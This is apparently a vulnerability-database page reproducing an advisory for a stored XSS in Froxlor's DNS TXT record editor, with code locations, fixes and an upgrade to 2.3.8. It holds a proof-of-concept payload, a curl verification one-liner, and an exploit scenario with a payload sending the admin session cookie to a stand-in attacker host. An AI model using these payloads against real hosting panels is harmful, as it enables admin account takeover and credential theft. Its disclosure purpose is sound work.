Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Network-delivered stored XSS requires low-privilege customer account (PR:L), passive admin page view triggers payload (UI:R), and cross-scope admin session takeover justifies S:C with C:H/I:H; no availability impact.
Primary rating from Vendor (https://github.com/froxlor/froxlor).
CVSS VectorVendor: https://github.com/froxlor/froxlor
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Lifecycle Timeline
3DescriptionCVE.org
Summary
A stored Cross-Site Scripting (XSS) vulnerability in Froxlor's DNS editor allows an authenticated user with DNS editor access (customer role) to inject arbitrary JavaScript into any administrator's browser session. When an administrator views the DNS configuration of an affected domain, the payload executes automatically - enabling complete admin account takeover, credential theft, and full server compromise.
---
Details
Three code locations combine to create this vulnerability:
1. Input validation does not strip HTML special characters - lib/Froxlor/Api/Commands/DomainZones.php:158
// Only strips non-printable chars. < and > (0x3C/0x3E) pass through unmodified.
$content = preg_replace('/[^\x09\x20-\x7E]/', '', $content);
$content = Dns::encloseTXTContent($content); // only wraps in quotes, no HTML encoding2. Display callback returns raw HTML without escaping - lib/Froxlor/UI/Callbacks/Text.php:95
public static function wordwrap(array $attributes): string {
return wordwrap($attributes['data'], 100, '<br>', true); // no htmlspecialchars()
}3. Twig template renders the callback output with |raw - templates/Froxlor/table/table.html.twig:57
{% else %}
{{ td.data|raw }} {
# string from wordwrap() - rendered without escaping #}
{% endif %}The DNS editor table assigns [Text::class, 'wordwrap'] as the callback for the content column (lib/tablelisting/tablelisting.dns.php:58). The callback returns a non-iterable string, so the template falls to the |raw branch.
Additionally, the Content Security Policy header (lib/Froxlor/UI/Panel/UI.php:140) includes 'unsafe-inline', rendering CSP completely ineffective as a mitigation:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; ...---
PoC
<img width="2025" height="1144" alt="image" src="https://github.com/user-attachments/assets/f6808b24-c4b6-4bd2-9673-d7ddc4939794" />
Prerequisites: Froxlor running with DNS enabled (system.dnsenabled = 1), at least one domain with DNS editor enabled, and a user account (customer or admin) with DNS editor access.
Step 1 - Inject the payload (via web UI or API as any DNS-enabled user):
Navigate to the DNS editor for any domain, add a TXT record with:
- Record:
@ - Type:
TXT - Content:
<img src=x onerror=alert(document.domain)>
Step 2 - Trigger:
No interaction is required beyond page navigation. The payload fires automatically on page load the moment any logged-in administrator visits:
http://TARGET/admin_domains.php?page=domaindnseditor&domain_id=<id>This URL is part of the normal admin workflow (domain management → DNS editor). No clicking, no form submission, no special conditions - visiting the URL is sufficient.
Verify via command line (login + fetch in one line):
T=$(curl -sc /tmp/c http://TARGET/index.php | grep -oP 'csrf-token" content="\K[^"]+') && \
curl -sc /tmp/c -b /tmp/c http://TARGET/index.php \
-d "loginname=admin&password=PASS&dologin=1&send=send&csrf_token=$T" -o /dev/null && \
curl -sb /tmp/c "http://TARGET/admin_domains.php?page=domaindnseditor&domain_id=ID" \
| grep -o '<img src=x[^>]*>'Expected output confirming unescaped payload in page source:
<img src=x onerror=alert(document.domain)>In a browser session the alert() fires immediately - no clicks required.
---
Impact
Type: Stored Cross-Site Scripting (Stored XSS)
Who is impacted: Any Froxlor installation with DNS editor functionality enabled. The attack requires a low-privilege customer account with dnsenabled = 1 - a standard feature granted to hosting customers. The victim is any administrator who views the affected domain's DNS configuration.
A real-world attacker would replace alert() with a payload that silently exfiltrates the admin session cookie, then uses it to create a backdoor admin account, read all customer credentials, or execute arbitrary commands on the underlying server through Froxlor's system configuration interface.
---
Fix
Apply one of the following:
Option A (recommended) - Remove |raw from the table template:
{
# templates/Froxlor/table/table.html.twig:57 #}
{{ td.data }} {
# Twig auto-escaping handles it #}Callbacks that intentionally return HTML (e.g. action buttons) should return a structured array with a macro key instead of a raw string.
Option B - Escape in the callback:
// lib/Froxlor/UI/Callbacks/Text.php
public static function wordwrap(array $attributes): string {
return wordwrap(htmlspecialchars($attributes['data'], ENT_QUOTES, 'UTF-8'), 100, '<br>', true);
}Option C - Sanitize at input:
// lib/Froxlor/Api/Commands/DomainZones.php after line 160
$content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');Also remove 'unsafe-inline' and 'unsafe-eval' from the CSP header in lib/Froxlor/UI/Panel/UI.php:140.
--- If possible, please apply for a CVE when publishing.
AnalysisAI
Stored XSS in Froxlor's DNS TXT record editor enables any low-privilege hosting customer with DNS editor access to inject arbitrary JavaScript that executes automatically in an administrator's browser session upon routine page load. The attack exploits a three-point failure: missing HTML sanitization at input, an unescaped wordwrap() callback that introduces raw HTML, and a Twig template using |raw that bypasses auto-escaping - compounded by a CSP header that includes 'unsafe-inline', rendering it useless. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires three concrete conditions: (1) Froxlor must be running with DNS functionality enabled via the `system.dnsenabled = 1` system setting - this is a configurable feature, not the default in minimal installs; (2) at least one domain must have DNS editor access granted to a customer account (`dnsenabled = 1` on that domain record); (3) the attacker must hold a valid Froxlor account (customer or admin role) with DNS editor permission on that domain. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 score of 8.7 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N) accurately reflects the key risk dimensions: network-accessible attack surface, low complexity, a low-privilege starting position, one passive victim interaction step, and cross-scope high-impact admin takeover. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A hosting customer with DNS editor access adds a TXT record to their domain with content `<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>` via the Froxlor web UI or API. The next time any administrator views that domain's DNS configuration through the standard admin workflow (`admin_domains.php?page=domaindnseditor&domain_id=<id>`), the payload fires on page load with no clicks required, silently transmitting the admin's session cookie to the attacker. … |
| Remediation | Upgrade to Froxlor 2.3.8 immediately; the release is available at https://github.com/froxlor/froxlor/releases/tag/2.3.8 and the specific escaping fix is in commit a1d8f425b11ef7597949018814afa056a842cba0. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, obtain the Froxlor vendor advisory to identify the patched version and compatibility assessment; immediately restrict DNS editor access to essential administrative personnel as an interim control and disable CSP 'unsafe-inline' directives in your web server configuration. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-61219
GHSA-43gm-9rr3-cx7g